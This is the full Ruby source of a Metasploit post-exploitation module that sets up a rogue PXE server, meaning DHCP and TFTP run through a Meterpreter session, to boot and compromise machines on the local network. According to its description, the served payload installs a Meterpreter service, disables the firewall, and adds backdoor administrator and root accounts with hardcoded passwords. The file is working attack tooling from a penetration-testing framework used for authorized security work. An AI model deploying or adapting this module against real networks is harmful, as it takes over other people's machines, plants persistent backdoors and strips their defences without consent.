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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Auxiliary::Report
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  def initialize
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    super(
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      'Name' => 'Windows Manage PXE Exploit Server',
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      'Description' => %q{
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        This module provides a PXE server, running a DHCP and TFTP server.
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        The default configuration loads a linux kernel and initrd into memory that
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        reads the hard drive; placing a payload to install metsvc, disable the
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        firewall, and add a new user metasploit on any Windows partition seen,
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        and add a uid 0 user with username and password metasploit to any linux
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        partition seen. The windows user will have the password p@SSw0rd!123456
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        (in case of complexity requirements) and will be added to the administrators
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        group.
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        See exploit/windows/misc/pxesploit for a version to deliver a specific payload.
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        Note: the displayed IP address of a target is the address this DHCP server
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        handed out, not the "normal" IP address the host uses.
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      },
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      'Author' => [ 'scriptjunkie' ],
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      'License' => MSF_LICENSE,
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      'Platform' => [ 'win' ],
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      'SessionTypes' => [ 'meterpreter' ],
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      'Compat' => {
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        'Meterpreter' => {
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          'Commands' => %w[
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            lanattacks_add_tftp_file
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            lanattacks_dhcp_log
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            lanattacks_reset_dhcp
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            lanattacks_set_dhcp_option
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            lanattacks_start_dhcp
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            lanattacks_start_tftp
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            lanattacks_stop_dhcp
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            lanattacks_stop_tftp
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          ]
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        }
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      }
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    )
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    register_advanced_options(
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      [
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        OptString.new('TFTPROOT', [
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          false, 'The TFTP root directory to serve files from',
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          File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
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        ]),
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        OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
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        OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
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        OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
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        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
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        OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
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      ]
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    )
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  end
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  def run
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    if !client.lanattacks
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      print_status('Loading lanattacks extension...')
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      client.core.use('lanattacks')
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    elsif datastore['RESETPXE']
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      print_status('Resetting PXE attack...')
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      client.lanattacks.dhcp.reset
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    end
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    # Not setting these options (using autodetect)
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    print_status('Loading DHCP options...')
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    client.lanattacks.dhcp.load_options(datastore)
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    0.upto(4) do |i|
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      print_status("Loading file #{i + 1} of 5")
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      contents = File.binread(::File.join(datastore['TFTPROOT'], "update#{i}"))
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      client.lanattacks.tftp.add_file("update#{i}", contents)
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    end
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    print_status('Starting TFTP server...')
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    client.lanattacks.tftp.start
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    print_status('Starting DHCP server...')
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    client.lanattacks.dhcp.start
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    print_status('PXEsploit attack started')
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    loop do
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      # get stats every 20s
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      select(nil, nil, nil, 20)
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      client.lanattacks.dhcp.log.each do |item|
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        print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} " \
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            "(#{Rex::Socket.addr_ntoa(item[1])})")
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        report_note({
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          type: 'PXE.client',
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          data: item[0].unpack('H2H2H2H2H2H2').join(':')
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        })
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      end
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    rescue ::Interrupt
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      print_status('Stopping TFTP server...')
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      client.lanattacks.tftp.stop
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      print_status('Stopping DHCP server...')
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      client.lanattacks.dhcp.stop
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      print_status('PXEsploit attack stopped')
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      return
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    end
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  end
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end
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